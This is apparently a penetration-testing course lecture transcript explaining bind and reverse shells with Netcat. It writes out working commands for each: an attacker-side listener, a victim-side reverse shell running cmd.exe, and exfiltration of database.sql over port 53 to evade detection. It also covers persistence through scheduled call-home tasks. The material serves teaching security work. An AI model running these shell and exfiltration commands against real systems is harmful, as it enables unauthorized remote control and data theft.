Our goal as a penetration tester
is to gain access to a remote server or workstation
and then take control of it through the use
of an interactive shell.
This is usually done by installing a Remote Access Trojan
or by using a raw socket connection tool like Netcat.
Now, Netcat is also known as nc,
because this is the command that
you're going to enter inside
of Kali Linux as a command-line utility for reading
and writing raw data over a network connection.
This tool can be used to create bind shells
and reverse shells for your use
during your penetration test as well.
A shell is simply an interactive command interface,
just like the one you're using when you enter commands
into your Kali Linux terminal.
When you create a remote shell connection though,
within that victim machine, that shell connection
is going to be defined as either a bind shell
or a reverse shell, depending on which machine
is being set up as the listener:
the victim's machine or yours.
A bind shell is a shell where a listening port
is opened on the victim's machine,
and that exposes the Command Prompt on the local host
to the attacker who connects to it through that listener.
For example, if I'm able to hack into your workstation
and set up a listener on your machine,
and I open up port 443 on your workstation,
I can then connect to your listener using Netcat
on my Kali Linux machine using your IP address
and port 443 to be able to connect to your machine,
and then that listener is going to redirect any commands
I send directly to your shell
or command prompt for execution by your local host.
Essentially, this gives me a two-way connection,
much like an SSH client with an SSH server.
Now, bind shells worked great for a really long time,
but as security increased
and firewalls were installed at the network boundaries,
they became less and less effective.
After all, not only would I need
to install the listener on your workstation
and open up port 443 on your host firewall,
but now I also need to ensure
that port forwarding is enabled on your router
that redirects me from the WAN connection
to your specific workstation on your internal
local area network.
The benefits of a bind shell
is that the system is just sitting there
and waiting for you to connect to it as the attacker
because you can access it any time you want.
This works really well if you're already inside
of the network, so you don't have
to worry about the Border Gateway Firewall
or the port address translation.
Unfortunately, though, most of us are going to be attacking
our targets from outside of the network
and across the Internet, so a bind shell isn't going to
be very effective for us.
To solve this issue,
we're instead going to use a reverse shell.
Now, with the reverse shell,
the attacker installs the listener on their own workstation
and they configure a listening port on that workstation.
Then, they cause the victim
to initiate a request to that listener.
When they connect to the listener,
a two-way connection channel is going to be established
and the attacker can then issue commands directly
to the victim's shell or Command Prompt once again.
Reverse shells are very popular with penetration testers
because even if the victim
is behind their corporate firewall,
it's going to open up an outbound port for traffic
that's destined for an external IP address over port 443,
because that's how it's configured.
Just like when the user tries to go to diontraining.com,
their computer's going to initiate a connection
to that external IP over port 443.
Well, the same thing happens when they try to connect
to the listener that you've established
on your attacking workstation.
Now, most organizations have configured their firewalls
to allow traffic to return into a network once
that initial request was made from inside
of the network going out, and so you're now going to be able
to continue to communicate with that victim machine
moving forward until the connection is eventually lost
or it's terminated by that victim machine.
So you might be wondering, how do we get our victim
to initiate that connection?
Well, normally we're going to do this
by installing malware on the victim system
by running an exploit against a known vulnerability
or tricking that user into installing the malware themselves
through some kind of a social engineering technique.
Once it's installed, the malware can set up scheduled tasks
to call out to your listener every day at a certain time,
and once that connection is made, it can be made up for days
or even weeks, or if you want to be even more stealthy,
you can have the connection terminated
whenever you're not using it,
but set up that victim to call home
to your listener every day or every few days.
If you use this approach, it is going to be more stealthy
for you, but you are going to have to wait
for a while if you happen to lose your connection
for some reason during your attack.
Now, Netcat is a really important tool,
so you should spend some time playing with it
and learning the syntax required
to set up a bind shell and a reverse shell.
For a bind shell, you simply enter nc-l for listening,
p for port, 443 for the port you want to listen on,
and -e for execute, and then cmd.exe
for the command you want to execute,
in this case the Windows command prompt.
What this is saying is that I want Netcat
to set up a listener on port 443 and execute the command
cmd.exe whenever somebody connects to it.
It's a really simple command,
and I haven't even set up any password protection
or encryption on this particular connection,
but it gives you the idea of how you can use Netcat.
Now, as the attacker, if I want to connect
to that listener on the victim machine,
I would simply type in nc 10.1.0.1
443 and then hit Enter.
This says, "Netcat, go out and connect to the listener
that's located at the IP address 10.1.0.1
that's listening on port 443.
Now, when I execute this command, I would expect
to get back a C prompt showing that I'm connected
to a Windows machine
and I have direct access to its Command Prompt.
Now, if I wanted to set up a reverse shell,
I would use very similar commands,
but the biggest difference is that the location
of the listener and the command execution parameter
is going to be reversed.
For a reverse shell,
I'm going to enter nc- -l -p 443
on my Kali Linux machine, which is my attacking machine,
and then I'm going to enter nc 10.1.0.2
443 -e cmd.exe
on the victim's Windows machine.
This will allow me to connect to my Kali machine
from that Windows machine.
Notice, I'm still going to gain access
to the Windows command prompt on the victim machine.
The only real difference here
is that the listener is set up on the attacker's machine
and the command being executed is being stated
on the victim's machine.
Now, you can get a bit more creative when you're using
Netcat if you want.
For example, you can use scripting and redirection to send
and receive files as part of data exfiltration
if you need to during your penetration test.
For instance, if I set up a listener to receive a file,
I might use something like nc -l -p 53,
which will allow me to send a file over a non-standard port
for our file transfer,
and that way I could try to hide it inside
of DNS traffic over port 53.
Then, I can pipe or redirect any data received
into a file called database.sql.
On the victim machine, I can then enter the type command,
which is basically going to tell the system
to print that file
to the screen, but instead, I want to type database.sql
and then pipe it or redirect it into the Netcat command.
The command I enter might say something like nc 10.1.0.2 53,
which is the IP and port of the listener
I set up on my attack workstation.
So now, I have the victim machine typing that file over
to Netcat, which is going to send it to my listener,
and my listener is going to write everything it receives
to a file.
This use of the non-standard port of 53 was done
so that I could evade detection.
Most organizations have ports like 80, 443, and 53 open
so that their employees can browse the Internet,
access DNS, and things like that.
But by using Netcat, I can send any type of data, text,
or files over those ports too.